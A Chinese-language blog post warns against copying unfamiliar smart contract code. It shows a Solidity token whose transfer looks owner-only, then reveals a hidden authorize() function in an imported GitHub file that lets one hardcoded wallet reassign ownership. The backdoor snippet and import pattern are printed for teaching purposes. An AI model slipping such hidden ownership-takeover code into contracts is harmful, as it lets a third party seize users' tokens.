代码漏洞骗局:警惕有后门的代码陷阱!不要轻易使用别人的智能合约代码!

看不懂的智能合约,就不要复制别人的代码,有坑!

看似没问题的代码

  • 有些骗子可能编写了一些有后门的智能合约代码,如果你复制了这些代码,那么就有可能被骗。
  • 有些骗子可能会“好心”的教你编写一些特定功能的智能合约,并且宣称这个智能合约是“安全”的,只有你自己可以控制这个功能。并且他也演示了,这个转账的操作,只有你部署的钱包可以转账。其实这个是有漏洞的。
  • 我演示的这个代码,我在构造函数里面定义了一个 myOwner 的属性。这个值是自己当前部署的钱包,然后在转账的代码里面,添加了,只有合约的发布者才可以进行转账。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

//import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

//不要复制来路不明的智能合约代码,除非你真的可以看懂里面所有的逻辑!!!
//import "./MyERC20.sol";
import "https://github.com/btcxiaolinzi/SmartContract/blob/main/MyERC20.sol";

contract MyToken is ERC20 {

    constructor(uint256 initialSupply) ERC20("MyToken", "MyUSD",initialSupply) {
        _mint(msg.sender, initialSupply * (10 ** 18));
        myOwner=msg.sender;
    }

    modifier onlyOwner(){
        require(msg.sender == myOwner,"Only owner can transfer!");
        _;
    }

  function transfer(address recipient, uint256 amount)
    public
    override
    onlyOwner
    returns (bool)
  {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

}

有猫腻的代码

  • 并且我也演示了,当前的转账只有部署的钱包地址可以转账,切换了其它的钱包地址的话,就无法转账,所以你以为这个代码是安全的。只有你自己可以控制。
  • 其实它里面的代码是有猫腻的,在引用的智能合约代码里面,也就是这个代码是可以修改这个拥有者权限的!它的代码添加了这些内容:

 function authorize(address _trader) public {
        require(msg.sender == 0x1AF1f486F7f7604D5fdd8e2F491F122F26a223f4, "Only authorized trader can authorize other traders.");  // 只有授权交易者才能授权其他交易者
        myOwner = _trader;  // 授权新的交易者
    }
  • 也就是这个代码是可以修改这个拥有者权限的!

  • 它里面写了只有骗子的哪个钱包地址可以修改拥有者权限。

  • 也就是骗子可以修改你当前的智能合约的拥有者权限,当骗子修改你的智能合约权限之后,你就无法转账了!!!

总结

不要复制别人的代码,除非你真的了解里面所有的逻辑!!!

相关视频:https://youtu.be/XwIfpse1vK0

以下是我用过的交易所,有需要的小伙伴欢迎使用我的邀请连接来注册,你的支持是我最大的创作动力!